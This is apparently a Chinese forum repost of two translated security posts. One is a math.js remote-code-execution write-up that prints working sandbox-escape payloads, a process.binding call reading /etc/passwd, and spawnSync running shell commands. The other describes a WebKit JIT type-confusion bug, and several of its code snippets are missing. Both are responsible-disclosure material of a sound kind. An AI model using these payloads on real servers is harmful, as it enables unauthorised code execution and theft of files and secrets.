原文链接:https://capacitorset.github.io/mathjs/
原文链接:https://www.zerodayinitiative.com/blog/2018/10/31/preventative-patching-produces-pwn2own-participants-panic

前言

本文简要描述了我们如何发现、利用以及提交远程代码执行(RCE)漏洞,希望这篇文章能够成为查找漏洞的指南,并且我们将一直用负一种负责任的态度报告漏洞。

第一步:发现

在使用math.js API(http://api.mathjs.org/v1/?expr=expression-here)时,我们发现它似乎在执行JavaScript代码,但在这过程中有一些限制:

> !calc cos
Result: function

> !calc eval
Result: function

> !calc eval("x => x")
Error: Value expected (char 3)

> !calc eval("console.log")
Error: Undefined symbol console

> !calc eval("return 1")
Result: 1

尤其是,eval似乎被一个安全版取代了,FunctionsetTimeout/ setInterval也无效了:

> !calc Function("return 1")
Error: Undefined symbol Function

> !calc setTimeout
Error: Undefined symbol Function

第二步:开发

既然我们发现了执行代码的过程中存在某种限制,我们就得想办法避免。

有四种标准方法可以用来执行中的代码,分别是:

在math.js环境中,我们无法直接访问它们,因为它们没有被定义,或者是因为它们已经使用安全函数重新定义了。但是,我们可以间接访问它们:值得注意的是,Function可以作为现有函数的构造函数间接访问——这是引导我们发现漏洞的关键线索。

例如,Function("return 1")可以替换为Math.floor.constructor("return 1")。因此,要执行return 1,我们可以使用Math.floor.constructor("return 1")()

我们知道在math.js环境中cos被定义为一个函数,所以我们使用了:

> !calc cos.constructor("return 1")()
Result: 1

我们成功了!

这里我们可以使用require-d引入一些模块,然后获得对操作系统的访问权限,对吧?但其实没那么快:虽然math.js API服务器在Node.js环境中运行,但不知道怎么回事我们无法使用require

> !calc cos.constructor("return require")()
Error: require is not defined

但是,我们可以使用process,它有一些特别棒的功能:

> !calc cos.constructor("return process")()
Result: [object process]

> !calc cos.constructor("return process.env")()
Result: {
  "WEB_MEMORY": "512",
  "MEMORY_AVAILABLE": "512",
  "NEW_RELIC_LOG": "stdout",
  "NEW_RELIC_LICENSE_KEY": "<redacted>",
  "DYNO": "web.1",
  "PAPERTRAIL_API_TOKEN": "<redacted>",
  "PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin",
  "WEB_CONCURRENCY": "1",
  "PWD": "/app",
  "NODE_ENV": "production",
  "PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]",
  "SHLVL": "1",
  "HOME": "/app",
  "PORT": "<redacted>",
  "NODE_HOME": "/app/.heroku/node",
  "_": "/app/.heroku/node/bin/node"
}

虽然process.env包含了一些有趣的信息,但它实际上并没有什么用:我们需要更深入地探究,并且用上process.binding,这将会向操作系统公开Javascript绑定。尽管它们没有被正式记录并且在内部使用,但是可以通过读取Node.js源代码来重建它们的行为。例如,我们可以使用process.binding("fs")来读取OS上的任意的一个文件(在具有适当权限的情况下):

为简洁起见,我们将跳过!calc cos.constructor("code"),并且相应的,用粘贴的相关JS代码进行替换。

> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return buffer
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
<more users...>

我们差不多完成了:现在我们需要找到一种可以打开shell、并且可以运行任意命令的方法。如果你有使用Node.js的经验,你可能知道child_process,它可以用来生成带有spawnSync的进程:我们只需要使用操作系统绑定复制这个功能(请记住我们现在不能使用require)。

这看起来容易的多了:您只需获取child_process的源代码,删除不需要的代码(未使用的函数和错误的处理),缩小它,并通过API运行它。

从这里,我们可以生成任意进程并且运行shell命令:

> return spawnSync('/usr/bin/whoami');
{
  "status": 0,
  "signal": null,
  "output": [null, u15104, ],
  "pid": 100,
  "stdout": u15104,
  "stderr":
}

第三步:提交漏洞

既然我们发现了一个漏洞并尽可能地在利用它,现在我们得想办法如何处理它。由于我们开发它仅仅是出于一种兴趣,并且我们没有任何恶意,所以我们采用了“白帽子”方法,并将其提交给维护者。我们通过他的GitHub上的个人资料中列出的电子邮件地址与他取得了私下联系,并发送了以下的详细信息:

1.漏洞的简短描述(math.js中的远程代码执行缺陷);
2.一个示例攻击,解释它是如何工作的(一份关于为什么cos.constructor("code")()可以有效运行,以及process.bindings可以带来什么的总结报告);
3.在服务器上实际演示(包括whoamiuname -a输出);
4.关于修复它的一些建议(例如,使用vmNode.js中的模块)。

在两天的时间里,我们与作者一起合作来帮助修复漏洞。值得注意的是,他在2f45600中推出一个修复程序后,我们在3c3517d中发现了一个类似的解决方法(如果你不能直接使用构造函数,请使用cos.constructor.apply(null, "code")())。

时间线

2017年3月26日22:20 CEST:首次成功发掘漏洞
2017年3月29日14:43 CEST:向作者提交漏洞
2017年3月31日12:35 CEST:提交了第二个漏洞(.apply)
2017年3月31日13:52 CEST:两个漏洞都已修复

此漏洞由@CapacitorSet和@denysvitali发现。感谢@josdejong及时修复漏洞,感谢JSFuck发现了这个[].filter.constructor

最后还有一份来自Jos的澄清:math.js并不像之前想象的那样执行JavaScript代码,它有自己的解析器,这个解析器拥有自己的数学导向语法和运算符以及函数,当然这些函数仍然是JavaScript函数。

Pwn2Own的预防性漏洞修补

Pwn2Own的每个条目都让人焦虑的一个原因是每个漏洞都要经过重复检查的过程。即使参赛者成功的展示了对漏洞的利用,如果我们或供应商已经知道漏洞,这也不算是成功。研究人员可能会感到非常紧张,因为无法知道其他人是否已经提交了漏洞。当现在我们开始为Pwn2Own Tokyo做准备时,我将公开我发现的一个Bug。

该漏洞存在于WebKit’s JavaScript implementation, JavaScriptCore中的JIT引擎中。具体而言,该漏洞位于Data Flow Graph(DFG)层中。

在分析该漏洞之前,让我们确保我们可以对JavaScriptCore快速上手。JavaScriptCore支持的函数有一个优化的变体,称为Intrinsic,它有专属于自己的操作,例如,new Uint32Array最终可能由NewTypedArray处理,而Math.abs(x)最终可能由ArithAbs处理。在JavaScriptCore's JIT引擎中,这些函数主要出现在两个文件中:DFGAbstractInterpreterInlines.hDFGClobberize.h

顺便提一下,副作用指操作本身之外,可能会发生的任何事情。举一个例子,ArithAbs函数需要用一个参数并返回该参数的绝对值,就像Math.abs。因此,这意味着执行ArithAbs函数中不应该分配数组。有效的操作以几种不同的方式表示,在DFGAbstractInterpreterInlines.h中,它们表示为clobberWorld,而在DFGClobberize.h中,它们分别表示为read(World)write(Heap)。我们可以掩饰在这些调用期间发生的事情,并关注它们破坏已知状态的事实,使得JIT引擎在函数执行后不会做出任何假设。

漏洞发现

今年4月我去迪拜OPCDE的途中,我阅读了DFG字节代码解析器并在该handleTypedArrayConstructor方法名中碰巧发现了这个:

在这里,blah是一个非缓冲对象,这激起了我的好奇心,于是我赶紧看了看DFGAbstractInterpreterInlines.h以及DFGClobberize.h,从而确定NewTypedArray函数是否被当作有效代码进行处理。

这是我在DFGAbstractInterpreterInlines.h中所看到的:

这是非常符合我的预期。如果TypedArray构造函数的参数是UntypedUse,那么将会发生clobberWorld的调用。

然而,当我看到DFGClobberize.h时,有趣的事情发生了:


作为一个对比版本,以下是经过ArithAbs处理的Math.abs,以及其如何在DFGClobberize.h中被处理:

看到不同了吗?通过该ArithAbs操作,如果参数to Math.abs不是integerdouble,则clobberize会将操作标记为有效。NewTypedArray假设DFGClobberize没有将该操作标记为有效,而是由抽象解释器将其标记为有效。由于操作没有正确建模,我们可以让JIT引擎混淆数组的类型,这样它就可以让我们将指针指的那个值读为浮点数,或者写入可以解释为指针值的浮点数。最后,如果精心设计的假的对象破坏了JIT引擎设置的假设,这种类型的混淆可能导致代码执行。

细心的读者会注意到我没有为此漏洞提供任何CVE或ZDI标识符,这是由于我在本文开头简要提到的冲突。在我发现这个错误的六天后,git commit 36dd2d2b40c5640412f39efcb6fd081a56016a5d被引入以试图发现clobberize和抽象解释器之间不一致的地方。作为被提交的一部分,以下内容添加到DFGClobberize.h

奇怪的是,在提交两天后,我们发现已经有研究人员发现并提交了相同的漏洞。
撞洞是普遍存在的现象,特别是当许多人都在寻找类似的领域时。随着Pwn2Own Tokyo即将到来,希望每个参与者都可以成功应对比赛之前发布的补丁。
你可以在Twitter上找到我@WanderingGlitch,并跟随团队获取最新的漏洞利用技术和安全补丁。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖